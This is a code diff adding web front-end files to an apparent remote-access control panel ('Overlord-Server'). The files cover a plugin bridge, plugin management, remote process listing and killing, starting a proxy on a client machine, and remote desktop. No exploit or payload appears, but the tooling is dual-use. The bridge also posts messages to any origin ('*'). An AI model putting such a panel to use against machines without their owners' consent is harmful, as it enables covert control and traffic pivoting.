+ const id = `pws_${Date.now()}_${wsSeq++}`;
+ const handlers = { onopen: null, onmessage: null, onclose: null, onerror: null };
+ wsHandlers.set(id, handlers);
+
+ window.parent.postMessage(
+ { type: "plugin-ws-open", id, token, url },
+ origin || "*",
+ );
+
+ return {
+ id,
+ set onopen(fn) {
+ handlers.onopen = fn;
+ },
+ set onmessage(fn) {
+ handlers.onmessage = fn;
+ },
+ set onclose(fn) {
+ handlers.onclose = fn;
+ },
+ set onerror(fn) {
+ handlers.onerror = fn;
+ },
+ send(data) {
+ if (data instanceof ArrayBuffer) {
+ const bytes = new Uint8Array(data);
+ let binary = "";
+ for (let i = 0; i < bytes.length; i += 1) {
+ binary += String.fromCharCode(bytes[i]);
+ }
+ window.parent.postMessage(
+ { type: "plugin-ws-send", id, token, kind: "binary", data: btoa(binary) },
+ origin || "*",
+ );
+ return;
+ }
+ window.parent.postMessage(
+ { type: "plugin-ws-send", id, token, kind: "text", data: String(data) },
+ origin || "*",
+ );
+ },
+ close() {
+ window.parent.postMessage(
+ { type: "plugin-ws-close", id, token },
+ origin || "*",
+ );
+ wsHandlers.delete(id);
+ },
+ };
+ }
+
+ window.addEventListener("message", (event) => {
+ const data = event.data;
+ if (!data || !data.type) return;
+ if (!data.id) return;
+ const handlers = wsHandlers.get(data.id);
+ if (!handlers) return;
+
+ if (data.type === "plugin-ws-opened") {
+ handlers.onopen?.();
+ return;
+ }
+ if (data.type === "plugin-ws-closed") {
+ handlers.onclose?.();
+ wsHandlers.delete(data.id);
+ return;
+ }
+ if (data.type === "plugin-ws-error") {
+ handlers.onerror?.(new Error(data.error || "ws_error"));
+ return;
+ }
+ if (data.type === "plugin-ws-message") {
+ if (data.payload?.kind === "binary") {
+ const buffer = base64ToArrayBuffer(data.payload.data);
+ handlers.onmessage?.({ data: buffer });
+ } else {
+ handlers.onmessage?.({ data: data.payload?.data ?? "" });
+ }
+ }
+ });
+
+ window.createPluginWebSocket = createPluginWebSocket;
+})();
diff --git a/Overlord-Server/public/assets/plugin-host.js b/Overlord-Server/public/assets/plugin-host.js
new file mode 100644
index 0000000..e9bb1ba
--- /dev/null
+++ b/Overlord-Server/public/assets/plugin-host.js
@@ -0,0 +1,188 @@
+const hostEl = document.getElementById("plugin-host");
+const frame = document.getElementById("plugin-frame");
+if (!hostEl || !frame) {
+ console.error("plugin host not initialized");
+}
+
+const bridgeToken = hostEl?.dataset.bridgeToken || "";
+const allowedPrefixes = [
+ "/api/clients/",
+ "/api/plugins",
+ "/api/plugins/",
+];
+const allowedMethods = new Set(["GET", "POST", "DELETE", "PUT", "PATCH"]);
+
+function isAllowedUrl(url) {
+ try {
+ const parsed = new URL(url, window.location.origin);
+ if (parsed.origin !== window.location.origin) return false;
+ return allowedPrefixes.some((prefix) => parsed.pathname.startsWith(prefix));
+ } catch {
+ return false;
+ }
+}
+
+function filterHeaders(headers) {
+ const filtered = {};
+ if (!headers) return filtered;
+ for (const [key, value] of Object.entries(headers)) {
+ const lower = key.toLowerCase();
+ if (lower === "content-type" || lower === "accept") {
+ filtered[key] = value;
+ }
+ }
+ return filtered;
+}
+
+function arrayBufferToBase64(buffer) {
+ const bytes = new Uint8Array(buffer);
+ let binary = "";
+ for (let i = 0; i < bytes.length; i += 1) {
+ binary += String.fromCharCode(bytes[i]);
+ }
+ return btoa(binary);
+}
+
+window.addEventListener("message", async (event) => {
+ if (!event.data || event.data.type !== "plugin-fetch") return;
+ if (frame && event.source !== frame.contentWindow) return;
+ if (event.data.token !== bridgeToken) return;
+
+ const { id, request } = event.data;
+ if (!request || !request.url) return;
+
+ if (!allowedMethods.has(String(request.method || "GET").toUpperCase())) {
+ event.source?.postMessage(
+ { type: "plugin-fetch-response", id, error: "method_not_allowed" },
+ "*",
+ );
+ return;
+ }
+
+ if (!isAllowedUrl(request.url)) {
+ event.source?.postMessage(
+ { type: "plugin-fetch-response", id, error: "url_not_allowed" },
+ "*",
+ );
+ return;
+ }
+
+ try {
+ const res = await fetch(request.url, {
+ method: request.method || "GET",
+ headers: filterHeaders(request.headers),
+ body: request.body || undefined,
+ credentials: "include",
+ });
+
+ const buffer = await res.arrayBuffer();
+ const contentType = res.headers.get("content-type") || "";
+ const text = new TextDecoder().decode(buffer);
+ const base64 = arrayBufferToBase64(buffer);
+
+ event.source?.postMessage(
+ {
+ type: "plugin-fetch-response",
+ id,
+ ok: res.ok,
+ status: res.status,
+ statusText: res.statusText,
+ headers: Object.fromEntries(res.headers.entries()),
+ contentType,
+ bodyText: text,
+ bodyBase64: base64,
+ },
+ "*",
+ );
+ } catch (err) {
+ event.source?.postMessage(
+ {
+ type: "plugin-fetch-response",
+ id,
+ error: "fetch_failed",
+ message: String(err),
+ },
+ "*",
+ );
+ }
+});
+
+const wsSessions = new Map();
+let wsSeq = 0;
+
+function isAllowedWsUrl(url) {
+ try {
+ const parsed = new URL(url, window.location.origin);
+ if (parsed.origin !== window.location.origin) return false;
+ return /^\/api\/clients\/[^/]+\/rd\/ws$/.test(parsed.pathname);
+ } catch {
+ return false;
+ }
+}
+
+window.addEventListener("message", (event) => {
+ if (!event.data || !event.data.type) return;
+ if (frame && event.source !== frame.contentWindow) return;
+ if (event.data.token !== bridgeToken) return;
+
+ if (event.data.type === "plugin-ws-open") {
+ const { url } = event.data;
+ if (!isAllowedWsUrl(url)) {
+ event.source?.postMessage(
+ { type: "plugin-ws-error", error: "ws_url_not_allowed" },
+ "*",
+ );
+ return;
+ }
+
+ const id = `ws_${Date.now()}_${wsSeq++}`;
+ const wsUrl = url.replace("https:", "wss:").replace("http:", "ws:");
+ const ws = new WebSocket(wsUrl);
+ ws.binaryType = "arraybuffer";
+ wsSessions.set(id, ws);
+
+ ws.addEventListener("open", () => {
+ event.source?.postMessage({ type: "plugin-ws-opened", id }, "*");
+ });
+ ws.addEventListener("message", (ev) => {
+ const payload =
+ ev.data instanceof ArrayBuffer
+ ? { kind: "binary", data: arrayBufferToBase64(ev.data) }
+ : { kind: "text", data: String(ev.data) };
+ event.source?.postMessage(
+ { type: "plugin-ws-message", id, payload },
+ "*",
+ );
+ });
+ ws.addEventListener("close", () => {
+ wsSessions.delete(id);
+ event.source?.postMessage({ type: "plugin-ws-closed", id }, "*");
+ });
+ ws.addEventListener("error", () => {
+ event.source?.postMessage({ type: "plugin-ws-error", id }, "*");
+ });
+ return;
+ }
+
+ if (event.data.type === "plugin-ws-send") {
+ const { id, data, kind } = event.data;
+ const ws = wsSessions.get(id);
+ if (!ws || ws.readyState !== WebSocket.OPEN) return;
+ if (kind === "binary") {
+ const buffer = Uint8Array.from(atob(data), (c) => c.charCodeAt(0));
+ ws.send(buffer);
+ } else {
+ ws.send(data);
+ }
+ return;
+ }
+
+ if (event.data.type === "plugin-ws-close") {
+ const { id } = event.data;
+ const ws = wsSessions.get(id);
+ if (ws) {
+ ws.close();
+ wsSessions.delete(id);
+ }
+ }
+});
diff --git a/Overlord-Server/public/assets/plugins.js b/Overlord-Server/public/assets/plugins.js
new file mode 100644
index 0000000..fe89b8f
--- /dev/null
+++ b/Overlord-Server/public/assets/plugins.js
@@ -0,0 +1,211 @@
+const dropzone = document.getElementById("dropzone");
+const fileInput = document.getElementById("file-input");
+const pluginList = document.getElementById("plugin-list");
+const refreshBtn = document.getElementById("refresh-btn");
+const uploadStatus = document.getElementById("upload-status");
+
+async function checkAuth() {
+ try {
+ const res = await fetch("/api/auth/me", { credentials: "include" });
+ if (!res.ok) {
+ window.location.href = "/login.html";
+ return;
+ }
+
+ const data = await res.json();
+ const usernameDisplay = document.getElementById("username-display");
+ const roleBadge = document.getElementById("role-badge");
+ if (usernameDisplay) {
+ usernameDisplay.textContent = data.username;
+ }
+
+ if (roleBadge) {
+ const roleBadges = {
+ admin: ' Admin',
+ operator: ' Operator',
+ viewer: ' Viewer',
+ };
+ if (roleBadges[data.role]) {
+ roleBadge.innerHTML = roleBadges[data.role];
+ } else {
+ roleBadge.textContent = data.role || "";
+ }
+
+ if (data.role === "admin") {
+ roleBadge.classList.add(
+ "bg-purple-900/50",
+ "text-purple-300",
+ "border",
+ "border-purple-800",
+ );
+ } else if (data.role === "operator") {
+ roleBadge.classList.add(
+ "bg-blue-900/50",
+ "text-blue-300",
+ "border",
+ "border-blue-800",
+ );
+ } else {
+ roleBadge.classList.add(
+ "bg-slate-700",
+ "text-slate-300",
+ "border",
+ "border-slate-600",
+ );
+ }
+ }
+
+ if (data.role === "admin") {
+ document.getElementById("build-link")?.classList.remove("hidden");
+ document.getElementById("users-link")?.classList.remove("hidden");
+ document.getElementById("plugins-link")?.classList.remove("hidden");
+ document.getElementById("deploy-link")?.classList.remove("hidden");
+ } else if (data.role === "operator") {
+ document.getElementById("build-link")?.classList.remove("hidden");
+ }
+
+ if (data.role !== "viewer") {
+ document.getElementById("scripts-link")?.classList.remove("hidden");
+ }
+ } catch (err) {
+ console.error("Auth check failed:", err);
+ window.location.href = "/login.html";
+ }
+}
+
+function setStatus(text, isError = false) {
+ uploadStatus.textContent = text;
+ uploadStatus.className = `mt-3 text-sm ${isError ? "text-red-400" : "text-slate-400"}`;
+}
+
+async function fetchPlugins() {
+ const res = await fetch("/api/plugins");
+ if (!res.ok) {
+ setStatus("Failed to load plugins", true);
+ return [];
+ }
+ const data = await res.json();
+ return Array.isArray(data.plugins) ? data.plugins : [];
+}
+
+function renderPlugins(plugins) {
+ pluginList.innerHTML = "";
+ if (!plugins.length) {
+ pluginList.innerHTML =
+ 'No plugins installed.
';
+ return;
+ }
+ for (const plugin of plugins) {
+ const card = document.createElement("div");
+ card.className =
+ "rounded-xl border border-slate-800 bg-slate-950/50 px-4 py-3 flex items-center justify-between";
+ const meta = document.createElement("div");
+ const title = document.createElement("div");
+ title.className = "font-semibold";
+ title.textContent = plugin.name || plugin.id;
+ const subtitle = document.createElement("div");
+ subtitle.className = "text-sm text-slate-400";
+ subtitle.textContent = `${plugin.id}${plugin.version ? ` • v${plugin.version}` : ""}`;
+ meta.appendChild(title);
+ meta.appendChild(subtitle);
+ const actions = document.createElement("div");
+ actions.className = "flex items-center gap-2";
+
+ const toggle = document.createElement("button");
+ toggle.className =
+ "inline-flex items-center gap-2 px-3 py-2 rounded-lg border" +
+ (plugin.enabled
+ ? " border-emerald-600 text-emerald-200 bg-emerald-900/40"
+ : " border-slate-600 text-slate-300 bg-slate-800/60");
+ toggle.innerHTML = plugin.enabled
+ ? ' Enabled'
+ : ' Disabled';
+ toggle.addEventListener("click", async () => {
+ const res = await fetch(`/api/plugins/${plugin.id}/enable`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ enabled: !plugin.enabled }),
+ });
+ if (!res.ok) {
+ const text = await res.text();
+ setStatus(`Enable failed: ${text}`, true);
+ return;
+ }
+ await refresh();
+ });
+
+ const removeBtn = document.createElement("button");
+ removeBtn.className =
+ "inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-red-900/40 border border-red-700/60 hover:bg-red-800/60 text-red-100";
+ removeBtn.innerHTML = ' Remove';
+ removeBtn.addEventListener("click", async () => {
+ if (!confirm(`Remove plugin ${plugin.name || plugin.id}?`)) return;
+ const res = await fetch(`/api/plugins/${plugin.id}`, { method: "DELETE" });
+ if (!res.ok) {
+ const text = await res.text();
+ setStatus(`Remove failed: ${text}`, true);
+ return;
+ }
+ setStatus("Plugin removed.");
+ await refresh();
+ });
+ actions.appendChild(toggle);
+ actions.appendChild(removeBtn);
+ card.appendChild(meta);
+ card.appendChild(actions);
+
+ if (plugin.lastError) {
+ const errorRow = document.createElement("div");
+ errorRow.className = "mt-2 text-xs text-red-300";
+ errorRow.textContent = `Last error: ${plugin.lastError}`;
+ card.appendChild(errorRow);
+ }
+ pluginList.appendChild(card);
+ }
+}
+
+async function refresh() {
+ const plugins = await fetchPlugins();
+ renderPlugins(plugins);
+}
+
+async function uploadFile(file) {
+ if (!file) return;
+ setStatus(`Uploading ${file.name}...`);
+ const form = new FormData();
+ form.append("file", file);
+ const res = await fetch("/api/plugins/upload", { method: "POST", body: form });
+ if (!res.ok) {
+ const text = await res.text();
+ setStatus(`Upload failed: ${text}`, true);
+ return;
+ }
+ setStatus("Upload complete.");
+ await refresh();
+}
+
+if (dropzone) {
+ dropzone.addEventListener("dragover", (e) => {
+ e.preventDefault();
+ dropzone.classList.add("border-emerald-500", "text-emerald-300");
+ });
+ dropzone.addEventListener("dragleave", () => {
+ dropzone.classList.remove("border-emerald-500", "text-emerald-300");
+ });
+ dropzone.addEventListener("drop", (e) => {
+ e.preventDefault();
+ dropzone.classList.remove("border-emerald-500", "text-emerald-300");
+ const file = e.dataTransfer?.files?.[0];
+ if (file) uploadFile(file);
+ });
+}
+
+fileInput?.addEventListener("change", (e) => {
+ const file = e.target.files?.[0];
+ if (file) uploadFile(file);
+});
+
+refreshBtn?.addEventListener("click", refresh);
+
+checkAuth();
+refresh();
diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js
new file mode 100644
index 0000000..e488b55
--- /dev/null
+++ b/Overlord-Server/public/assets/processes.js
@@ -0,0 +1,430 @@
+import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
+
+const clientId = window.location.pathname.split("/")[1];
+let ws = null;
+let processes = [];
+let processMap = new Map();
+let processTree = [];
+let collapsedPids = new Set();
+let selectedPid = null;
+let sortField = "cpu";
+let sortDirection = "desc";
+let searchTerm = "";
+
+const statusEl = document.getElementById("status-indicator");
+const processCountEl = document.getElementById("process-count");
+const processListEl = document.getElementById("process-list");
+const refreshBtn = document.getElementById("refresh-btn");
+const killBtn = document.getElementById("kill-btn");
+const searchInput = document.getElementById("search-input");
+const clientIdHeader = document.getElementById("client-id-header");
+
+if (clientIdHeader) {
+ clientIdHeader.textContent = `${clientId} - Process Manager`;
+}
+
+function connect() {
+ const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
+ const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/processes/ws`;
+
+ ws = new WebSocket(wsUrl);
+ ws.binaryType = "arraybuffer";
+
+ ws.onopen = () => {
+ console.log("Process manager connected");
+ updateStatus("connected", "Connected");
+ enableControls(true);
+ requestProcessList();
+ };
+
+ ws.onmessage = (event) => {
+ const msg = decodeMsgpack(event.data);
+ if (!msg) {
+ console.error("Failed to decode message");
+ return;
+ }
+ handleMessage(msg);
+ };
+
+ ws.onerror = (err) => {
+ console.error("WebSocket error:", err);
+ updateStatus("error", "Connection Error");
+ };
+
+ ws.onclose = () => {
+ console.log("Process manager disconnected");
+ updateStatus("disconnected", "Disconnected");
+ enableControls(false);
+ setTimeout(() => connect(), 3000);
+ };
+}
+
+function updateStatus(state, text) {
+ const icons = {
+ connecting: ' ',
+ connected: ' ',
+ error: ' ',
+ disconnected: ' ',
+ };
+
+ statusEl.innerHTML = `${icons[state] || icons.disconnected} ${text}`;
+ statusEl.className =
+ state === "connected"
+ ? "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-green-900/40 text-green-100 border border-green-700/60"
+ : "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300";
+}
+
+function enableControls(enabled) {
+ refreshBtn.disabled = !enabled;
+ updateKillButton();
+}
+
+function updateKillButton() {
+ killBtn.disabled = !selectedPid || !ws || ws.readyState !== WebSocket.OPEN;
+}
+
+function send(msg) {
+ if (ws && ws.readyState === WebSocket.OPEN) {
+ ws.send(encodeMsgpack(msg));
+ }
+}
+
+function handleMessage(msg) {
+ console.log("Received:", msg.type);
+
+ switch (msg.type) {
+ case "ready":
+ console.log("Session ready:", msg.sessionId);
+ break;
+ case "status":
+ if (msg.status === "offline") {
+ updateStatus("error", "Client Offline");
+ enableControls(false);
+ }
+ break;
+ case "process_list_result":
+ handleProcessList(msg);
+ break;
+ case "command_result":
+ handleCommandResult(msg);
+ break;
+ default:
+ console.log("Unknown message type:", msg.type);
+ }
+}
+
+function requestProcessList() {
+ send({ type: "process_list" });
+ updateStatus("connected", "Loading processes...");
+}
+
+function handleProcessList(msg) {
+ if (msg.error) {
+ processListEl.innerHTML = ` ${escapeHtml(msg.error)}
`;
+ updateStatus("error", "Error loading processes");
+ return;
+ }
+
+ processes = (msg.processes || []).map((proc) => {
+ const normalizeId = (value) => {
+ if (typeof value === "bigint") {
+ return Number(value);
+ }
+ if (typeof value === "string" && value.trim()) {
+ const parsed = Number(value);
+ return Number.isFinite(parsed) ? parsed : 0;
+ }
+ return Number.isFinite(value) ? value : 0;
+ };
+ return {
+ ...proc,
+ pid: normalizeId(proc.pid),
+ ppid: normalizeId(proc.ppid),
+ };
+ });
+ processCountEl.innerHTML = ` ${processes.length} processes`;
+ updateStatus("connected", "Connected");
+ buildProcessTree();
+ renderProcesses();
+}
+
+function buildProcessTree() {
+ processMap.clear();
+ processes.forEach((proc) => {
+ processMap.set(proc.pid, { ...proc, children: [] });
+ });
+
+ const roots = [];
+ processMap.forEach((proc) => {
+ if (proc.ppid && processMap.has(proc.ppid)) {
+ processMap.get(proc.ppid).children.push(proc);
+ } else {
+ roots.push(proc);
+ }
+ });
+
+ function sortChildren(proc) {
+ if (proc.children.length > 0) {
+ proc.children.sort((a, b) => {
+ let aVal = a[sortField];
+ let bVal = b[sortField];
+
+ if (sortField === "name") {
+ aVal = aVal.toLowerCase();
+ bVal = bVal.toLowerCase();
+ }
+
+ if (sortDirection === "asc") {
+ return aVal > bVal ? 1 : -1;
+ } else {
+ return aVal < bVal ? 1 : -1;
+ }
+ });
+
+ proc.children.forEach((child) => sortChildren(child));
+ }
+ }
+
+ roots.forEach((proc) => sortChildren(proc));
+
+ roots.sort((a, b) => {
+ let aVal = a[sortField];
+ let bVal = b[sortField];
+
+ if (sortField === "name") {
+ aVal = aVal.toLowerCase();
+ bVal = bVal.toLowerCase();
+ }
+
+ if (sortDirection === "asc") {
+ return aVal > bVal ? 1 : -1;
+ } else {
+ return aVal < bVal ? 1 : -1;
+ }
+ });
+
+ processTree = roots;
+}
+
+function renderProcesses() {
+ const filtered = [];
+
+ function collectMatches(proc, depth = 0) {
+ const matches =
+ !searchTerm ||
+ proc.name.toLowerCase().includes(searchTerm.toLowerCase()) ||
+ proc.pid.toString().includes(searchTerm) ||
+ (proc.username &&
+ proc.username.toLowerCase().includes(searchTerm.toLowerCase()));
+
+ if (matches) {
+ filtered.push({ ...proc, depth });
+ }
+
+ if (
+ proc.children &&
+ proc.children.length > 0 &&
+ !collapsedPids.has(proc.pid)
+ ) {
+ proc.children.forEach((child) => collectMatches(child, depth + 1));
+ }
+ }
+
+ processTree.forEach((proc) => collectMatches(proc, 0));
+
+ if (filtered.length === 0) {
+ processListEl.innerHTML =
+ ' No processes found
';
+ return;
+ }
+
+ processListEl.innerHTML = "";
+ filtered.forEach((proc) => {
+ const row = createProcessRow(proc, proc.depth);
+ processListEl.appendChild(row);
+ });
+}
+
+function createProcessRow(proc, depth = 0) {
+ const row = document.createElement("div");
+ row.className =
+ "process-row grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
+ row.dataset.pid = proc.pid;
+
+ if (selectedPid === proc.pid) {
+ row.classList.add("selected");
+ }
+
+ const cpuColor =
+ proc.cpu > 50
+ ? "text-red-400"
+ : proc.cpu > 20
+ ? "text-yellow-400"
+ : "text-slate-400";
+ const memoryStr = formatBytes(proc.memory);
+
+ const hasChildren = proc.children && proc.children.length > 0;
+ const isCollapsed = collapsedPids.has(proc.pid);
+ const indent = " ".repeat(depth);
+
+ let treeIcon = "";
+ if (hasChildren) {
+ treeIcon = `${isCollapsed ? "▶" : "▼"} `;
+ } else if (depth > 0) {
+ treeIcon = ' ';
+ }
+
+ let nameColor = "text-slate-200";
+ let iconColor = "text-blue-400";
+ if (proc.type === "system") {
+ nameColor = "text-purple-400";
+ iconColor = "text-purple-400";
+ } else if (proc.type === "service") {
+ nameColor = "text-cyan-400";
+ iconColor = "text-cyan-400";
+ } else if (proc.type === "own") {
+ nameColor = "text-green-300";
+ iconColor = "text-green-400";
+ }
+
+ row.innerHTML = `
+ ${proc.pid}
+
+ ${indent}${treeIcon}
+ ${escapeHtml(proc.name)}
+
+ ${proc.cpu.toFixed(1)}%
+ ${memoryStr}
+ ${escapeHtml(proc.username || "-")}
+ `;
+
+ row.onclick = (e) => {
+ if (e.target.classList.contains("tree-icon")) {
+ toggleCollapse(proc.pid);
+ return;
+ }
+ selectProcess(proc.pid);
+ };
+
+ row.ondblclick = () => {
+ selectProcess(proc.pid);
+ killProcess();
+ };
+
+ return row;
+}
+
+function toggleCollapse(pid) {
+ if (collapsedPids.has(pid)) {
+ collapsedPids.delete(pid);
+ } else {
+ collapsedPids.add(pid);
+ }
+ renderProcesses();
+}
+
+function selectProcess(pid) {
+ selectedPid = pid;
+ updateKillButton();
+ renderProcesses();
+}
+
+function killProcess() {
+ if (!selectedPid) return;
+
+ const proc = processes.find((p) => p.pid === selectedPid);
+ if (!proc) return;
+
+ if (!confirm(`Kill process "${proc.name}" (PID: ${proc.pid})?`)) return;
+
+ const pid = Number(selectedPid);
+ if (!Number.isFinite(pid) || pid <= 0) {
+ alert("Invalid PID selected.");
+ return;
+ }
+ console.log("Killing process:", pid);
+ send({ type: "process_kill", pid });
+ updateStatus("connected", "Killing process...");
+}
+
+function handleCommandResult(msg) {
+ if (!msg.ok) {
+ alert(`Operation failed: ${msg.message || "Unknown error"}`);
+ updateStatus("connected", "Connected");
+ } else {
+ setTimeout(() => requestProcessList(), 500);
+ }
+}
+function setSortField(field) {
+ if (sortField === field) {
+ sortDirection = sortDirection === "asc" ? "desc" : "asc";
+ } else {
+ sortField = field;
+ sortDirection = field === "name" ? "asc" : "desc";
+ }
+ buildProcessTree();
+ renderProcesses();
+ updateSortIndicators();
+}
+
+function updateSortIndicators() {
+ document.querySelectorAll('[id^="sort-"]').forEach((el) => {
+ const field = el.id.replace("sort-", "");
+ const icon = el.querySelector("i");
+ if (field === sortField) {
+ icon.className =
+ sortDirection === "asc"
+ ? "fa-solid fa-sort-up"
+ : "fa-solid fa-sort-down";
+ } else {
+ icon.className = "fa-solid fa-sort";
+ }
+ });
+}
+
+function formatBytes(bytes) {
+ if (bytes === 0 || bytes === 0n) return "0 B";
+ const sizes = ["B", "KB", "MB", "GB"];
+ if (typeof bytes === "bigint") {
+ const k = 1024n;
+ let i = 0;
+ let value = bytes;
+ while (value >= k && i < sizes.length - 1) {
+ value /= k;
+ i += 1;
+ }
+ return `${value.toString()} ${sizes[i]}`;
+ }
+ const k = 1024;
+ const i = Math.floor(Math.log(bytes) / Math.log(k));
+ return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i];
+}
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text;
+ return div.innerHTML;
+}
+
+refreshBtn.onclick = () => requestProcessList();
+killBtn.onclick = () => killProcess();
+
+searchInput.oninput = (e) => {
+ searchTerm = e.target.value;
+ renderProcesses();
+};
+
+document.getElementById("sort-pid").onclick = () => setSortField("pid");
+document.getElementById("sort-name").onclick = () => setSortField("name");
+document.getElementById("sort-cpu").onclick = () => setSortField("cpu");
+document.getElementById("sort-memory").onclick = () => setSortField("memory");
+
+setInterval(() => {
+ if (ws && ws.readyState === WebSocket.OPEN) {
+ requestProcessList();
+ }
+}, 3000);
+
+updateStatus("connecting", "Connecting...");
+connect();
+updateSortIndicators();
diff --git a/Overlord-Server/public/assets/proxy.js b/Overlord-Server/public/assets/proxy.js
new file mode 100644
index 0000000..29163ea
--- /dev/null
+++ b/Overlord-Server/public/assets/proxy.js
@@ -0,0 +1,194 @@
+import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
+
+const clientId = window.location.pathname.split("/")[1];
+if (!clientId) {
+ alert("Missing clientId");
+ location.href = "/";
+}
+
+const clientLabel = document.getElementById("clientLabel");
+const statusPill = document.getElementById("status-pill");
+const portInput = document.getElementById("portInput");
+const startBtn = document.getElementById("startBtn");
+const stopBtn = document.getElementById("stopBtn");
+const proxyInfo = document.getElementById("proxyInfo");
+const proxyAddress = document.getElementById("proxyAddress");
+const logContainer = document.getElementById("logContainer");
+
+const toast =
+ (typeof window !== "undefined" && window.createToast) ||
+ (typeof window !== "undefined" && window.showToast) ||
+ null;
+
+let ws = null;
+let proxyRunning = false;
+
+clientLabel.textContent = clientId;
+
+function updateStatus(className, text) {
+ statusPill.className = `pill ${className}`;
+ statusPill.textContent = text;
+}
+
+function addLog(message, type = "info") {
+ const timestamp = new Date().toLocaleTimeString();
+ const colors = {
+ info: "text-slate-400",
+ success: "text-green-400",
+ error: "text-red-400",
+ warning: "text-yellow-400",
+ };
+ const color = colors[type] || colors.info;
+
+ const logEntry = document.createElement("div");
+ logEntry.className = color;
+ logEntry.textContent = `[${timestamp}] ${message}`;
+
+ logContainer.appendChild(logEntry);
+ logContainer.scrollTop = logContainer.scrollHeight;
+
+ // Keep only last 100 log entries
+ while (logContainer.children.length > 100) {
+ logContainer.removeChild(logContainer.firstChild);
+ }
+}
+
+function connect() {
+ const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
+ const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/proxy/ws`;
+
+ ws = new WebSocket(wsUrl);
+ ws.binaryType = "arraybuffer";
+
+ ws.onopen = () => {
+ console.log("Proxy control connected");
+ updateStatus("pill-online", "Connected");
+ addLog("Connected to proxy control interface", "success");
+ };
+
+ ws.onmessage = (event) => {
+ const msg = decodeMsgpack(event.data);
+ if (!msg) {
+ console.error("Failed to decode message");
+ return;
+ }
+ handleMessage(msg);
+ };
+
+ ws.onerror = (err) => {
+ console.error("WebSocket error:", err);
+ updateStatus("pill-offline", "Connection Error");
+ addLog("WebSocket connection error", "error");
+ };
+
+ ws.onclose = () => {
+ console.log("Proxy control disconnected");
+ updateStatus("pill-offline", "Disconnected");
+ addLog("Disconnected from proxy control", "warning");
+ setTimeout(() => connect(), 3000);
+ };
+}
+
+function send(msg) {
+ if (ws && ws.readyState === WebSocket.OPEN) {
+ ws.send(encodeMsgpack(msg));
+ }
+}
+
+function handleMessage(msg) {
+ console.log("Received:", msg);
+
+ switch (msg.type) {
+ case "ready":
+ addLog("Proxy control session ready", "success");
+ if (!msg.clientOnline) {
+ updateStatus("pill-offline", "Client Offline");
+ addLog("Target client is offline", "error");
+ }
+ break;
+ case "status":
+ if (msg.status === "offline") {
+ updateStatus("pill-offline", "Client Offline");
+ addLog("Target client went offline", "error");
+ setProxyStopped();
+ }
+ break;
+ case "command_result":
+ handleCommandResult(msg);
+ break;
+ default:
+ break;
+ }
+}
+
+function handleCommandResult(msg) {
+ if (msg.ok) {
+ if (msg.message && msg.message.includes("started")) {
+ const match = msg.message.match(/port (\d+)/);
+ const port = match ? match[1] : portInput.value;
+ setProxyRunning(port);
+ addLog(`Proxy started successfully on port ${port}`, "success");
+ if (toast) toast(`Proxy started on port ${port}`, "success");
+ } else if (msg.message && msg.message.includes("stopped")) {
+ setProxyStopped();
+ addLog("Proxy stopped successfully", "success");
+ if (toast) toast("Proxy stopped", "success");
+ } else {
+ addLog(msg.message || "Command completed", "success");
+ }
+ } else {
+ addLog(msg.message || "Command failed", "error");
+ if (toast) toast(msg.message || "Command failed", "error");
+ if (msg.message && msg.message.includes("already running")) {
+ // Proxy is running but we didn't know
+ setProxyRunning(portInput.value);
+ }
+ }
+}
+
+function setProxyRunning(port) {
+ proxyRunning = true;
+ startBtn.disabled = true;
+ stopBtn.disabled = false;
+ proxyInfo.classList.remove("hidden");
+ proxyAddress.textContent = `127.0.0.1:${port}`;
+ portInput.disabled = true;
+}
+
+function setProxyStopped() {
+ proxyRunning = false;
+ startBtn.disabled = false;
+ stopBtn.disabled = true;
+ proxyInfo.classList.add("hidden");
+ portInput.disabled = false;
+}
+
+function startProxy() {
+ const port = parseInt(portInput.value);
+ if (isNaN(port) || port < 1 || port > 65535) {
+ if (toast) toast("Invalid port number (1-65535)", "error");
+ return;
+ }
+
+ addLog(`Sending start command for port ${port}...`, "info");
+ send({ type: "proxy_start", port });
+}
+
+function stopProxy() {
+ addLog("Sending stop command...", "info");
+ send({ type: "proxy_stop" });
+}
+
+// Event listeners
+startBtn.addEventListener("click", startProxy);
+stopBtn.addEventListener("click", stopProxy);
+
+// Initialize
+connect();
+
+// Clear initial placeholder
+setTimeout(() => {
+ if (logContainer.children.length === 1 && logContainer.firstChild.textContent.includes("Waiting")) {
+ logContainer.innerHTML = "";
+ }
+}, 1000);
diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js
new file mode 100644
index 0000000..4ae1314
--- /dev/null
+++ b/Overlord-Server/public/assets/remotedesktop.js
@@ -0,0 +1,669 @@
+import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
+
+(function () {
+ const clientId = new URLSearchParams(location.search).get("clientId");
+ if (!clientId) {
+ alert("Missing clientId");
+ return;
+ }
+ const clientLabel = document.getElementById("clientLabel");
+ clientLabel.textContent = clientId;
+
+ const ws = new WebSocket(
+ (location.protocol === "https:" ? "wss://" : "ws://") +
+ location.host +
+ "/api/clients/" +
+ clientId +
+ "/rd/ws",
+ );
+ const displaySelect = document.getElementById("displaySelect");
+ const refreshBtn = document.getElementById("refreshDisplays");
+ const startBtn = document.getElementById("startBtn");
+ const stopBtn = document.getElementById("stopBtn");
+ const fullscreenBtn = document.getElementById("fullscreenBtn");
+ const mouseCtrl = document.getElementById("mouseCtrl");
+ const kbdCtrl = document.getElementById("kbdCtrl");
+ const cursorCtrl = document.getElementById("cursorCtrl");
+ const duplicationCtrl = document.getElementById("duplicationCtrl");
+ const smoothingSlider = document.getElementById("smoothingSlider");
+ const smoothingValue = document.getElementById("smoothingValue");
